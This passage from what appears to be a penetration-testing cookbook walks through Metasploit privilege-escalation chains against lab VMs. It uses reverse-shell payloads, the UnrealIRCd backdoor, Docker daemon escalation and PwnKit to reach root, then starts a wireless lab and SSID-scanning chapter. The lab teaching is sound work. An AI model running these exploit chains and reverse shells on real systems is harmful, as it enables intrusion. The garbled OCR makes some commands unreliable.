rdesktop 192.168.92.5 -u leia_organa -p help_me_obiwan

Note

Step 9isjust a way to have the user launch the shell. Normally, the user would

initiate this through some form of phishing or some other technique. We

are doing this to just start our initial Meterpreter session.

10. From the Windows session, open the file manager and browse to c:\inetpub\wwwroot,

then execute shell.exe.

wwwroot [_[O]
K = |/ [ computer - Windons 200602 () ~ inetouo + oot < | ~ [ [Searcn womroat
Organize v [ Open  New foder = v Ol @
 Favarites Name - | vate modiied [ rype | size | |
B Desktop | aspnet_dient 3/18/2023 2:20 AM File folder
4 Downloads | hash 11/4/20252:03AM  File foider
1l Recent Pl
- RecentPlaces | caidao 319/2023711AM  ASPFike 1K
= hahah 3/15/2023 210 AM  JPEG 34KB
) Ubraries | a1 15/ mage
8 Documents £ index 3/15/20232:10 AM  HTML Document 1,091KE
& Music [ keylogger 11/4/20253:02AM  Application 8KB
] Pictures £ |seven of hearts 3/19/2023 2:10 AM  HTML Document 2,383KB
E Videos 142 Application
. liamonds 3/19/2023 2:10 AM Compressed (zippe... 376 KB
1M Computer
R| welcome 3/19/2023 2:20 AM PNG image 181KB
€l Network
. 3 shell Date modified: 11/4/2025 4:42 AM Date created: 11/4/2025 4:42 AM
| Application Size: 7.50 KB

Figure 10.9 - shell.exe execution
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11. Return to the original terminal session with the Meterpreter handler running and you

will see a new session created, as shown:

msf exploit( ) > set LPORT 4444

LPORT = 4444

msf exploit( ) > run
Started reverse TCP handler on 192.168.92.3:4444
Sending stage (230982 bytes) to 192.168.92.5
Meterpreter session 1 opened (192.168.92.3:4444 — 192

meterpreter > ||

Figure 10.10 - New session

12. Let’s see what our current session looks like. Type the following:

You will see that you have attained the rights to 1eia_organa.

13. Let’sbackground the session so we can work on another step without ending the current

session and note down the session number:

background

14. Let’s see whether we can use the exploit suggester for ideas on how to further exploit
the machine. Enter the following and make sure to use the previously recorded session

number:

use post/multi/recon/local_exploit_suggester

set SESSION 1

run

When complete, you will see a list of possible exploits to run against the Windows ma-
chine to gain privilege escalation.

Running check method for exploit 49 / 49
192.168.92.5 - Valid modules for session 1:

Name Potentially Vulnerable? Check Result

age

on_handle_privesc

Figure 10.11 - Exploit suggester
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15. Let’s use a simple second-stage exploit to gain admin privileges based on the username

and password we previously obtained. Enter the following:

exploit/windows/local/run_as
SESSION 1

LHOST 192.168.92.3

LPORT 4445

USER vagrant
PASSWORD vagrant
PAYLOAD windows/x64/meterpreter/reverse _tcp

The following image shows the output:

msf exploit( ) > run

Started reverse TCP handler on 192.168.92.3:4445
[+] Process started successfully, PID: 5524

Sending stage (230982 bytes) to 192.168.92.5
[+] Started thread in target process

Meterpreter session 2 opened (192.168.92.3:4445

meterpreter > ]

Figure 10.12 - run_as exploit

16. Let’s check our new session to confirm that we now have admin privileges through the

vagrant user:

The following image shows the output:

meterpreter > getuid

Server username: VAGRANT-2008R2\vagrant
meterpreter > |

Figure 10.13 - getuid

17. You can now close down and exit the remote desktop and Meterpreter sessions.

How it works...

In this case, we used an initial exploit, which provided us with access to an unprivileged user.
Next, we ran the exploit suggester to give us a list of possible exploits that would be successful
against the target session. Lastly, we used a second-stage exploit against our initial unprivileged

session, which provided us with admin privileges through the vagrant user.
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See also...

For more information on chaining multiple exploits for privilege escalation in Windows, check

out the following sites:

e https://www.zerodayinitiative.com/blog/2024/7/29/breaking-barriers-and-
assumptions-techniques-for-privilege-escalation-on-windows-part-1

. https://www.zerodayinitiative.com/blog/2024/7/30/breaking-barriers-and-
assumptions-techniques-for-privilege-escalation-on-windows-part-2

e https://www.zerodayinitiative.com/blog/2024/7/31/breaking-barriers-and-
assumptions-techniques-for-privilege-escalation-on-windows-part-3

Exploiting privilege escalation in Linux — non-root

In this recipe, you’ll learn how to use Metasploit’s built-in modules and exploit privilege escala-
tion opportunities on a compromised Linux system. We will use a known backdoor exploit that
will provide us with elevated privileges to the system. While root is the ultimate goal, there are

many more opportunities to gain additional privileges besides root access.

Getting ready
e AKaliLinux VM thatis up and operational

e A Metasploitable Ubuntu VM that is up and operational

How to do it...

1. From a terminal window in Kali, start Metasploit:

sudo msfdb run

2. From the Metasploit console, we will use a previously identified vulnerable application—
IRC. Enter the following:

use exploit/unix/irc/unreal _ircd_3281 backdoor

set RHOSTS 192.168.92.4 (IP Address of your metasploitable ubuntu
machine)

set RPORT 6697

set PAYLOAD cmd/unix/reverse

set LHOST 192.168.92.3 (IP Address of Kali)
set LPORT 4444

run



https://www.zerodayinitiative.com/blog/2024/7/29/breaking-barriers-and-assumptions-techniques-for-privilege-escalation-on-windows-part-1
https://www.zerodayinitiative.com/blog/2024/7/30/breaking-barriers-and-assumptions-techniques-for-privilege-escalation-on-windows-part-2
https://www.zerodayinitiative.com/blog/2024/7/31/breaking-barriers-and-assumptions-techniques-for-privilege-escalation-on-windows-part-3

https://www.zerodayinitiative.com/blog/2024/7/29/breaking-barriers-and-assumptions-techniques-for-privilege-escalation-on-windows-part-1
https://www.zerodayinitiative.com/blog/2024/7/30/breaking-barriers-and-assumptions-techniques-for-privilege-escalation-on-windows-part-2
https://www.zerodayinitiative.com/blog/2024/7/31/breaking-barriers-and-assumptions-techniques-for-privilege-escalation-on-windows-part-3

https://www.zerodayinitiative.com/blog/2024/7/29/breaking-barriers-and-assumptions-techniques-for-privilege-escalation-on-windows-part-1
https://www.zerodayinitiative.com/blog/2024/7/30/breaking-barriers-and-assumptions-techniques-for-privilege-escalation-on-windows-part-2
https://www.zerodayinitiative.com/blog/2024/7/31/breaking-barriers-and-assumptions-techniques-for-privilege-escalation-on-windows-part-3

https://www.zerodayinitiative.com/blog/2024/7/29/breaking-barriers-and-assumptions-techniques-for-privilege-escalation-on-windows-part-1
https://www.zerodayinitiative.com/blog/2024/7/30/breaking-barriers-and-assumptions-techniques-for-privilege-escalation-on-windows-part-2
https://www.zerodayinitiative.com/blog/2024/7/31/breaking-barriers-and-assumptions-techniques-for-privilege-escalation-on-windows-part-3

https://www.zerodayinitiative.com/blog/2024/7/29/breaking-barriers-and-assumptions-techniques-for-privilege-escalation-on-windows-part-1
https://www.zerodayinitiative.com/blog/2024/7/30/breaking-barriers-and-assumptions-techniques-for-privilege-escalation-on-windows-part-2
https://www.zerodayinitiative.com/blog/2024/7/31/breaking-barriers-and-assumptions-techniques-for-privilege-escalation-on-windows-part-3

https://www.zerodayinitiative.com/blog/2024/7/29/breaking-barriers-and-assumptions-techniques-for-privilege-escalation-on-windows-part-1
https://www.zerodayinitiative.com/blog/2024/7/30/breaking-barriers-and-assumptions-techniques-for-privilege-escalation-on-windows-part-2
https://www.zerodayinitiative.com/blog/2024/7/31/breaking-barriers-and-assumptions-techniques-for-privilege-escalation-on-windows-part-3
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3.

4.

The exploit is successful with an open shell.

msf > use exploit/unix/irc/unreal_ircd_3281_backdoor
msf exploit( ) > set RHOSTS 192.168
RHOSTS = 192.168.92.4
msf exploit( ) > set RPORT 6697
RPORT = 6697
msf exploit( ) > set PAYLOAD cmd/unix/reverse
PAYLOAD = cmd/unix/reverse
msf exploit( ) > set LHOST 192.168.92.3
LHOST = 192.168.92.3
msf exploit( ) > set LPORT 4444
LPORT = 4444
msf exploit( ) > run
Started reverse TCP double handler on 192.168.92.3: 4444
192.168.92.4:6697 - Connected to 192.168.92.4:6697 ...
:irc.TestIRC.net NOTICE AUTH :#* Looking up your hostname...
192.168.92.4:6697 - Sending backdoor command...
Accepted the first client connection...
Accepted the second client connection...
Command: echo BaxMqIpZ5L6jcIdq;
Writing to socket A
Writing to socket B
Reading from sockets...
Reading from socket A
A: "BaxMgIpZ5L6jcIdg\r\n"
Matching ...
B is input...
Command shell session 1 opened (192.168.92.3:4444 — 192.168.92.4:42871) at 2025-11-04 18:23:09 +0530

Figure 10.14 - IRC exploit

Let’s determine who we are and what rights we have:

whoami
id

The following image shows the output:

whoami
boba fett

id
uid=1121(boba_fett) gid=100(users) groups=100@(users),999(docker)

Figure 10.15 - IRC privileges

As you can see, we are just a normal user; however, we do have access to Docker, which

can prove useful by giving us control of the host’s Docker environment.

Tip

While root access may be the ultimate in privilege escalation in Linux, we

N\ 7
@ have a variety of possible execution paths. While we did not achieve root, we

did achieve access to Docker, which means we can manipulate the Docker

environment on the host.

You may now exit the environment.
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How it works...

In this recipe, we used a vulnerability in an application and a backdoor to provide us with user-level
access. While we unfortunately did not obtain root access, we did gain user-level access. However,
since this is also a member of the Docker group, we have access to the Docker environment that
we could manipulate. If our goal was to be able to manipulate the Docker environment, we gained

sufficient privilege escalation at this point.

See also...

For additional information on Linux privilege escalation, please review this article:

https://www.vaadata.com/blog/linux-privilege-escalation-techniques-and-security-
tips/

Exploiting chained privilege root escalation in Linux

In this recipe, we will demonstrate how attackers can chain multiple exploits together to move
from a limited shell to full root access on a Linux target. We’ll begin by exploiting a backdoored
version of UnrealIlRCd to gain an initial foothold with a reverse shell. From there, we’ll leverage
Docker misconfigurations on the compromised system to escalate privileges and obtain root-level

access.

Getting ready
e AKaliLinux VM thatis up and operational

e An Ubuntu Metasploitable VM that is up and operational

How to do it...

1. From aterminal window in Kali, start Metasploit:

sudo msfdb run

2. From the Metasploit console, we will use a previously identified vulnerable application—
IRC. We will use the same attack as the previous recipe, just altering the payload based

on the exploit:

use exploit/unix/irc/unreal_ircd_3281_backdoor

set RHOSTS 192.168.92.4 (IP Address of your Metasploitable ubuntu
machine)
set RPORT 6697



https://www.vaadata.com/blog/linux-privilege-escalation-techniques-and-security-tips/

https://www.vaadata.com/blog/linux-privilege-escalation-techniques-and-security-tips/
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PAYLOAD cmd/unix/reverse_perl
LHOST 192.168.92.3 (IP Address of Kali)

LPORT 4444

You will see that we have made a successful connection.

msf > use exploit/unix/irc/unreal_ircd_3281_backdoor
msf exploit( ) > set RHOSTS 192.168.92.4
RHOSTS = 192.168.92.4
msf exploit( ) > set RPORT 6697
RPORT = 6697
msf exploit( ) > set PAYLOAD cmd/unix/reverse_perl
PAYLOAD = cmd/unix/reverse_perl
msf exploit( ) > set LHOST 192.168.92.3
LHOST = 192.168.92.3
msf exploit( ) > set LPORT &44b4
LPORT = 4444
msf exploit( ) > run
Started reverse TCP handler on 192.168. Lihh
192.168.92.4:6697 - Connected to 192.168 4:6697 ...
rirc.TestIRC.net NOTICE AUTH :%* Looking up your hostname...
rirc.TestIRC.net NOTICE AUTH * Couldn't resolve your hostname; using your IP address instead
192.168.92.4:6697 - Sending door command ...
Command shell session 1 opened (192.168.92.3:4444 — 192.168.92.4:42876) at 2025-11-04 18:27:37 +0530

Figure 10.16 - reverse_perl

3. Let’s send that session to the background and note what session number it is by entering

the following:

nd

4. Now that we have made our initial connection, let’s begin the second stage of our attack,

using an exploit in Docker. Use the following:

use exploit/linux/local/docker_daemon_privilege escalation
set SESSION 2 (Session number previously recorded)

set LHOST 192.168.92.3

set LPORT 4445

set PAYLOAD linux/x86/meterpreter/reverse_tcp

run
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A new Meterpreter session has been created.
Background session 1? [y/N] y
msf exploit( ) > use exploit/linux/local/docker_daemon_privilege escalation
No payload configured, defaulting to linux/armle/meterpreter/reverse_tcp
msf exploit( ) > set SESSION 1
SESSION = 1
msf exploit( ) > set LHOST 192.168.92.3
LHOST = 192.168.92.3
msf exploit( ) > set LPORT 4445
LPORT = 4445
msf exploit( ) > set PAYLOAD linux/x86/meterpreter/reverse_tcp
PAYLOAD = linux/x86/meterpreter/reverse_tcp
msf exploit( ) > run
Started reverse TCP handler on 192.168.92.3:4445
[!] SESSION may not be compatible with this module:
[!] =* incompatible session architecture: cmd
[!] =* incompatible session platform: unix. This module works with: Linux.
Running automatic check ("set AutoCheck false" to disable)
Docker daemon is accessible.
The target is vulnerable.
Writing payload executable to '/tmp/iNcgNdBo'
Executing script to create and run docker container
Sending stage (1062760 bytes) to 192.168.92.4
Waiting 60s for payload
/usr/share/metasploit-framework/vendor/bundle/ruby/3.3.0/gems/recog-3.1.23/1ib/recog/fingerprint/regexp_factory
egular expression
[+] Deleted /tmp/iNcgNdBo
Meterpreter session 2 opened (192.168.92.3:4445 — 192.168.92.4:43089) at 2025-11-04 18:29:13 +0530
meterpreter > i
Figure 10.17 - New Meterpreter session
5. Let’s see what privileges we have obtained by typing the following:

The following image shows the output:

meterpreter > getuid

Server username: root
meterpreter > Jj

Figure 10.18 - Root access

As you can see, we now have root privileges.

How it works...

Privilege escalation might often involve chaining exploits together to achieve a specific outcome.

In this case, we took our previous experience of gaining access with an IRC backdoor. Next, we

used a Docker exploit that provided us with root access.

See also...

For more information on chained escalation techniques, please review this article: https://www.
elastic.co/security-labs/unlocking-power-safely-privilege-escalation-via-linux-

process-capabilities.


https://www.elastic.co/security-labs/unlocking-power-safely-privilege-escalation-via-linux-process-capabilities
https://www.elastic.co/security-labs/unlocking-power-safely-privilege-escalation-via-linux-process-capabilities
https://www.elastic.co/security-labs/unlocking-power-safely-privilege-escalation-via-linux-process-capabilities
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Exploiting chained privilege identification and
escalation

In this recipe, you will simulate a situation where you have remote shell access to a Linux machine
and want to escalate your privileges. This recipe emphasizes how remote access does not always

mean full control, and shows how attackers bridge that gap.

Getting ready
e AKaliLinux VM thatis up and operational

e A Windows Metasploitable VM that is up and operational

How to do it...

1. From aterminal window in Kali, start Metasploit:

sudo msfdb run

2. Inthe Cracking local Windows passwords recipe from Chapter 9, we were able to brute force

a user (c_three_pio) that just had user access. We are going to use that as a starting

point for our attack:

use auxiliary/scanner/ssh/ssh_login

set RHOSTS 192.168.92.4 (Ubuntu IP address)
set USERNAME c_three_pio
set PASSWORD protece7

run

3. A new session was automatically created and put in the background. Use the following

command to view the created session:

sessions

The following image shows the output:

msf auxiliary( ) > sessions

Active sessions

Id Name Type Information Connection

1 shell linux SSH root @ 192.168 271 — 192.168.92.4:22 (192.168.92.4)

Figure 10.19 - Sessions 1
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4. Let’s take our session and make it a Meterpreter session using the following code. Meter-

preter is powerful and flexible:

sessions -u 1

The following image shows the output:

auxiliary(
Executing

L on 19
bytes) to 192.
opened (1

Figure 10.20 - Meterpreter session

5. Youcan see a new session was created and automatically put in the background. Use the

following to view it:

sessions

The following figure shows the output:

f auxiliary( N |

Figure 10.21 - Sessions 2

6. Let’s use our exploit suggester to see whether it has any ideas:

use post/multi/recon/local_exploit_suggester
set SESSION 2

run
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The following figure shows the output:

msf auxiliary(

Connection

Figure 10.22 - Exploit suggester

Once complete, it will provide a list of recommendations:

Potentially Vulnerable? Check Result

t/linux/local/cve t_ The

t/linux/local/net or X The a E ulnerable.
t/linux a a r 5 The t t ulnerable
t/linux al/pkex s The

t/linux/loca o

t/linux/per ce/bash_pr Th

t/multi r

Figure 10.23 - Exploit recommendations

7. Let’suse cve_2021_4034 and see what we get:

use exploit/linux/local/cve_2021 4034 pwnkit_lpe pkexec
set SESSION 2

set LHOST 192.168.92.3

set LPORT 4445

run

The following figure shows the output:

mst exploit( E exploit/linux/local/cve_2021 4034 _pwnkit_lpe_pkexec
Using configured payload linux/x64/meterpreter/reverse_tcp

msf exp t( ) > SESSION 2

SESSION = 2

msf exploit( > LHOST 192.168.92.3

LHOST 192

msf exploit( > LPORT 4445
LPORT = 4445

msf exploit(

Figure 10.24 - Running the exploit
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8.

As you can see, a new session was created from the second stage of the attack.

4/meterpreter/rever

p
set SESSION 2

> set LHOST 192.168.92.3

msf exploit( > set LPORT 4445
LPORT = 4445
msf exploit( > run
Started reverse TCP handler on 192.168.9 4bh5
Running automatic check ("set AutoChec e" to disable)
Verify cleanup of /tmp/.fufkmgpdxpg
The target is vulnerabl
Writing '/tmp/.cdhyfqm z/ulajtyolf/ulajtyolf.so’ (540 bytes)
Verify cleanup of /tmp/.cdhyfgmsesgz
Sending stage (3090404 bytes) to 192.168.92.4
Deleted / C n ulajtyolf/ulajtyolf.so
Deleted / n .byerscfwdst
Deleted /tmp/.cdhyfgmsesgz
Meterpreter session 3 opened (192.168.92.3:4445 — 192.168.92.4:43112) at 2025-11-04 18:50:29 +0530

neterpreter > i
Figure 10.25 - Sessions 3
From this new section, let’s see what type of access we have by entering the following:

The following figure shows the output:

meterpreter > getuid

Server username: root
meterpreter >

Figure 10.26 - Root privilege

We have achieved root access.

How it works...

In this scenario, we started off logged in as just a standard user. From there, we turned this SSH

session into a Meterpreter session. We were then able to use some advanced techniques to scan

for potential vulnerabilities to gain elevated privilege. We selected and launched one of these

suggested exploits and obtained root access.

See also...

This is a great research paper on chained exploit execution with the use of Al to identify poten-

tial chained escalation flows: https://www.usenix.org/system/files/usenixsecurity24-de-

pasquale.pdf.


https://www.usenix.org/system/files/usenixsecurity24-de-pasquale.pdf
https://www.usenix.org/system/files/usenixsecurity24-de-pasquale.pdf
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Wireless Warfare: Dominating
the Airwaves

In this chapter, we will explore the techniques and tools used to assess and attack wireless net-
works. Wireless environments introduce unique vulnerabilities, such as misconfigured access
points to easy-to-spoof environments. This chapter guides you through building a controlled lab

for Wi-Fi testing and walks you through tactics used against wireless networks.

You will begin by setting up a wireless testing environment with a supported adapter and a target
access point. From there, you will learn how to scan for visible and hidden SSIDs, analyze collected
wireless traffic, and launch denial-of-service (DoS) attacks against client devices. You'll capture
WPA2 handshakes and crack them using wordlist attacks, bypass MAC-based authentication by
spoofing authorized clients, and execute rogue access point attacks to harvest sensitive credentials

through deceptive captive portals.

These recipes highlight how wireless attacks combine attacks and social engineering to compro-

mise network security.
The following recipes will be covered in this chapter:

e Building a WLAN testing environment

e  Scanning for SSIDs

e  Scanning for hidden SSIDs

e Examining collected data

e  Performing a wireless DoS attack: deauthentication attack
e  Cracking WPA2 keys

e Spoofing avalid client’s MAC address
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e  Using public Wi-Fi to capture credentials

e  Attacking the corporate Wi-Fi network

Technical requirements

The recipes in this chapter rely on a controlled wireless testing environment built using a com-

patible wireless adapter and a configurable travel router to be used as the target of our testing.

For wireless scanning and attack capabilities, we use the ALFA AWUS036ACM USB wireless adapt-
er, which is based on the MediaTek MT7612U chipset. This adapter was selected due to its native
support in modern Kali Linux builds, eliminating the need for additional drivers. It supports both
2.4 GHz and 5 GHz frequencies and is capable of monitor mode and packet injection. These are
essential features for effective wireless penetration testing that may not be available in the built-in

wireless adapter. The adapter is connected to the host system and passed through to the Kali VM.

As the target access point, we use the GL.iNet Opal (GL-SFT1200) travel router. This device runs
OpenWrt-based firmware, offering a wide range of configuration options. The Opal is low-cost,
readily available, and ideal for simulating realistic wireless environments in a lab setting. The

Opal can be easily adjusted to support each test scenario.

Together, this hardware forms the basis of our wireless lab environment. This setup ensures that
all recipes in this chapter can be executed safely and consistently, without reliance on internet

connectivity or impacting legitimate wireless connectivity.

Building a WLAN testing environment

In this recipe, we will reconfigure our testing environment specifically for the WLAN lab testing.
We will assume the use of the devices as specified in the Technical requirements section. You may
alter the parts and devices based on your discretion; however, you will be responsible for making
the needed changes. The parts specified in the technical requirements were selected based on
minimal cost with maximum capability and functionality for testing, including ensuring that

the drivers were already present in the Kali Linux environment.

Getting ready

You need the following to complete this recipe:

e KaliLinux VM to be shut down
e  GL.iNet Opal (GL-SFT1200) travel router factory reset to default configuration
e ALFA AWUSO036ACM USB wireless adapter and USB cable

e Available USB 3 port on the Windows host machine
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How to do it...

1

8.
9.

From your Windows host machine, ensure that you can access the internet by opening a
browser window and navigating to https://www.yahoo.com.
Your existing testing environment should look similar to the following figure. The Kali

testing environment is directly connected via Ethernet to your existing network.

VirtualBox Virtualization Environment
USB 3
Pass-Thru
P >, Existin Ethernet Bridged Host-only
9 Network  KaliVM  Network TargetVMs
;l Connection Port
Existing Home Windows Host

Network Connection Virtual Box

Figure 11.1 - Original lab environment

Start by disconnecting the LAN interface from your computer.
Take that Ethernet connection and plug it into the WAN port of your Opal travel router.

With the supplied Ethernet cable from the travel router or another suitable Ethernet cable,

connect one of the LAN ports to the host computer.
Plug the power cable for the travel router in and allow it some time to boot up.

From the Windows host machine, ensure you can access the internet again by opening a

browser window and navigating to https://www.yahoo. com.

Tip

&

If you are having problems accessing the internet, try the following:

e Allow more time for the router to boot and recheck
e Double-check all connections
e  Ensure thatyour LAN port is set to receive an IP address from DHCP

e  Reset the Opal travel router to the factory default

Reboot the Windows host machine

From the host PC, open a browser window and navigate to http://192.168.8.1, the

Opal travel router web interface.


https://www.yahoo.com
https://www.yahoo.com
http://192.168.8.1
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10.

11.

12.

13.
14.

15.

Tip

The travel router will normally use the 192.168.8.0/24 subnet when de-
\/V faulted. If it is not using this subnet, you can open a command prompt on

the Windows host machine and use ipconfig to determine the subnet.

Then, navigate to the default gateway IP address listed. Make note of this

IP address for future use.

Select your preferred language and set a password for the router.

You may now close the web interface.

Connect the supplied USB cable that came with the ALFA wireless adapter to an available
USB 3 port of the host Windows machine.

Plug the other end into the ALFA wireless adapter.

Your connections should now look like the following figure, where your Kali testing envi-
ronment connects to the Wi-Firouter on the LAN port and your existing network connects

to the WAN port of the Wi-Fi router:
()

USB Wireless Adapter
ALFA AWUS036ACH

USB 3.0
Connection

VirtualBox Virtualization Environment

USB 3
Pass Thru

N
P > Existing WAN Ethernet Bridged Host-only

( J Network  KaliVM  Network TargetVMs
Connection Port

Existing Home Travel WiFi Router Windows Host
Network Connection Opal AC1200 Virtual Box

Figure 11.2 - WLAN test environment

From the host computer, go to Settings | Devices | Bluetooth & other devices and scroll

down to Other devices, where you should see 802.11ac Wireless LAN Card.
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Z

o

Setlings

Home

Bluetooth & other devices

| Find a setting

Devices

&
0

16. You may close the window.

Bluetooth & other devices

Printers & scanners

Mouse

Typing

Pen & Windows Ink

AutoPlay

USB

17. Launch VirtualBox.

Audio

D CS-DESKPRO-2

Other devices

802 1ac Wireless LAN Card
Caonnected to USB 3.0

D Download over metered connections

To help prevent extra charges, keep this off so device software
(drivers, info, and apps) for new devices won't download while you're
on metered Internet connections.

18. Select the Kali VM and click Settings.

Figure 11.3 - Other devices

5 Oracle VirtualBox Manager

File  Machine Help
‘H“‘ Tools {2} D
dud News  Add
2024.3-virtualt dea L= (¥ systom
©) powered Cr” O—
Pre
Boot Order:

% DVL1.5
W Powered OFf

19. Select USB.

Acceleration:

gV
ies o
v
Settings JDiscard  Start

Base Memory: 6144 ME

4
Hard Disk, Optical
Nested Paging, PAE/NX, KVM Paravirtualization

Figure 11.4 - Kali Settings



420

Wireless Warfare: Dominating the Airwaves

20. Under USB Device Filters, click the Add button with the green plus sign:

-‘ General
@ System
i Display

P

/| Storage

(U_i Audio

!11 Network
£ Serial Ports
‘." usB

"] Shared Folders

2 User Interface

¢ kali-linux-2024.3-virtualbox-amd64 - Settings - m] X

use
E9 enable USB Controller
O USB 1.1 {OHCT) Controller
O USB 2.0 {OHCI + EHCN Controller
® USB 3.0 (xHC Controller
USB Device Filters

Shared Folders

oK Cancel Help

Figure 11.5 - USB Device Filters

21. Select the MediaTek Inc. Wireless option:

22. Then, select OK.
23. Start the Kali VM.

Kinesis Freastyle Edga Keyboard |0100]
MediaTek Inc. Wireless [0100]
Logitech USB Optical Mause [6300]

Figure 11.6 - MediaTek Inc. Wireless

24. Open a terminal window.

25. Run the following command:
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26. Validate that you see the MediaTek device in the output:

IS 001 Device ¢

@1 Device

Figure 11.7 - The Isusb output

Tip

\/V If the 1susb command hangs or you don’t see the MediaTek device, try dis-
connecting for a minute and reconnecting the wireless adapter to the host.

Also, you may need to try rebooting the host and Kali machines.

27. Now, we must set the regulatory domain for your physical location.

28. To check what our regulatory domain is set for, use the following:

29. To setitto the US, use the following. If not in the US, please replace with your regulatory

domain:

sudo iw reg set US

30. You may now exit the terminal window.

When you complete this chapter, you can restore your original connectivity.

How it works...

This recipe is very straightforward for setting up your wireless lab environment. We inserted the
Opal router between our LAN and our host PC. Further, we connected the ALFA wireless adapter
to our host PC, and most importantly, we created a device filter that tells the Windows host PC

that we want Kali to have exclusive use of the device.

See also

More information on the ALFA AWUSO36ACM can be obtained at https://www.alfa.com.tw/
products/awus@36acm_1?variant=40320133464136, and information on the GL.iNet Opal (GL-
SFT1200) can be found at https://www.gl-inet.com/products/gl-sft1200/.


https://www.alfa.com.tw/products/awus036acm_1?variant=40320133464136
https://www.alfa.com.tw/products/awus036acm_1?variant=40320133464136
https://www.gl-inet.com/products/gl-sft1200/
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Scanning for SSIDs

In this recipe, we will use Kali Linux and our wireless adapter in monitor mode to scan for visible
wireless networks in range. By passively capturing beacon frames, we can identify all SSIDs that
are active, along with their corresponding channels, encryption types, and signal strengths. This
initial reconnaissance step is critical for understanding the wireless environment, identifying
potential targets, and planning further penetration testing activities. This is a completely passive

activity that provides no indication of your activities.

Getting ready

You need the following to complete this recipe:

e  You must have completed the Building a WLAN testing environment recipe
e  Kali Linux must be up and operational

e The ALFA (MediaTek) USB wireless adapter must be recognized by Kali (1susb)

How to do it...

1. From Kali, open a web browser and go to the Opal travel router IP address
(http://192.168.8.1) and log in.

2. From the main interface, click on WIRELESS, enable the 2.4 and 5 GHz radios, and set their

transmit power to Low. You may change the name, security, and password if you wish.

Note

\@/ Our travel router is in such close proximity to our antenna that setting the

power to Low will help reduce noise to other wireless access points around us.

3. Youmay now close the web browser.

4. From Kali, open a terminal window and enter the following commands to prepare your

wireless device:

sudo airmon-ng check kill

sudo airmon-ng start wlano

5. Wireless adapter names may change. You can verify by either using ip link or iw dev

to validate.


http://192.168.8.1
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PHY

phy1l

Figure 11.8 - The airmon-ng preparation

6. Let’s start capturing the beacon frames, scanning for our SSIDs, and dumping the infor-

mation:

sudo

b s 1E 2

PWR Beacons #Data, #/s C ENC CIPHE AUTH ESSID

1k
i

5

PWR Frames Notes Probe

Figure 11.9 - The airodump-ng output

Notice that the information being obtained provides the name (ESSID), channels (CH),
encryption (ENC), ciphers (CIPHER), and authentication (AUTH).

Notice too that we are only seeing the 2.4 GHz channels. In the US, there are 3 major
bands that we would need to monitor: 2.4 GHz, 5 GHz, and 6 GHz. You may not have a

full picture unless you scan them all.

7. To exit the dump, press Ctrl + C.

8. Let’srestartit with a new option that will scan the additional bands:

sudo airodump-ng --band abg wlan@mon
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ENC CIPHER AUTH

CCMP PSK
CCMP CMAC

2 CCMP PSK

2 CCmpP PSK

PA2 CCMP PSK
2 CCMP  CMAC omega

2 CCMP CMAC omega
<length:
2 CCmp PSK TIoT
ccmp PSK

PSK
PSK GL-SFT1200-33d
psk  JoT
CMAC ol
PSK Alu

Frames Notes Probes

Figure 11.10 - The airodump-ng band selection

Tip
\E/ Make note of the BSSID of your two broadcasting SSIDs — this will come in

handy in later recipes in this chapter.

9. You may now stop the dump by hitting Ctrl + C.

10. To regain standard usage of your wireless adapter, enter the following:

sudo airmon-ng stop wlan@mon

sudo systemctl restart NetworkManager

11. You may now exit the terminal window.

If you will not be continuing to the next recipe in a short period of time, I would suggest logging

back in to the Opal Wi-Fi router and disabling the wireless.

How it works...

Wireless networks periodically broadcast beacon frames, which contain information about their
network. These beacons are transmitted by access points (APs) on a regular interval, allowing
nearby devices to discover available networks. When we place our ALFA AWUS036ACM wireless
adapter into monitor mode, it passively listens to all wireless traffic. Tools such as airodump-ng

capture these beacon frames and display the details of visible SSIDs.
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The output from airodump-ng includes the following data:

e  BSSID (MAC address of the AP)

e  PWR (signal strength)

e  CH(channel the AP is broadcasting on)

e ENC, CIPHER, and AUTH (encryption details)

e  ESSID (the network name)

There's more...

While airodump-ng is one of the most widely used tools for wireless scanning, there are several
alternatives and complementary tools worth exploring. For instance, bettercap includes power-
ful wireless reconnaissance capabilities with real-time data visualization and scripting support.
Tools such as Kismet provide continuous passive monitoring with logging, alerting, and even

device tracking capabilities.
For more on wireless reconnaissance and monitoring, visit the following links:

e airodump-ng: https://www.aircrack-ng.org/doku.php?id=airodump-ng
e Kismet: https://www.kismetwireless.net/

e Dbettercap: https://www.bettercap.org/modules/wifi/

Scanning for hidden SSIDs

In this recipe, we will identify wireless networks that have been configured not to broadcast their
SSID, often referred to as hidden networks. Although these networks attempt to conceal their
presence by omitting the SSID from beacon frames, they still transmit other identifiable infor-
mation, such as the BSSID and channel. By using airodump-ng in monitor mode, we can detect

these hidden networks and wait for a client device to connect, at which point the SSID is revealed.

Getting ready

You need the following to complete this recipe:
e  You must have completed the Building a WLAN testing environment recipe
e  Kali Linux must be up and operational

e The ALFA (MediaTek) USB wireless adapter must be recognized by Kali (1susb)


https://www.aircrack-ng.org/doku.php?id=airodump-ng

https://www.kismetwireless.net/

https://www.bettercap.org/modules/wifi/
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How to do it...

1

From Kali, open a web browser and go to the Opal travel router IP address
(http://192.168.8.1) and log in.

From the main interface, click on WIRELESS, enable the 2.4 and 5 GHz radios, and set
their transmit power to Low. Change the SSID to different names and set SSID Visibility
to Hidden. Ensure you have WPA2-PSK for Wi-Fi Security, and set Wi-Fi Password to

goodlife.
GL-TNet | Admin Panel v43.25 e v & | @
"% Processing, please wail
Enable WiFi [ o1 @)
TX Power Low
Wi-Fi Name (SSID)
Wi-Fi Security
Wi-FiPasswod 1 ssssssss
SSID Visibility Hidde
Wi-Fi Mode
Bandwidth 80 MH;
Channel k A

Figure 11.11 - Creating a hidden SSID

You may now close the web browser.
From Kali, open a terminal window and enter the following commands to prepare the

wireless device:

sudo airmon-ng check kill

sudo airmon-ng start wlan®@

Let’s get ready to collect information in a file by creating a new directory:

cd

mkdir wlan-hidden

cd wlan-hidden
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7.

8.

Let’s start a packet dump with the following command. Then, look for <length: ©>in
the name, which denotes a hidden SSID, as shown in the figure that follows. L highlighted
the one with the BSSID we noted from the previous recipe. This way, you know which

one to target for our lab:

CH 64 ][ Elapsed: 24

B! PWR Beacons Cl 1 ENC CIPHER AUTH

WPA2 CCMP

WPA2 CCMP

woao o

WPA2 CCMP

WPAZ CCP WAC Omeea

WPA2 CCMP <length:

WPA2 CCMP S IoT
<length:

WPA2 CCMP SK IoT

WPA2 CCMP M omega

WPA2 CCMP IoT

WPA2 CCMP M omega

WPA2 CCMP

WPA

WPA2 CCMP

WPA2 CCMP

WPA2 CCMP

WPA2 CCMP S

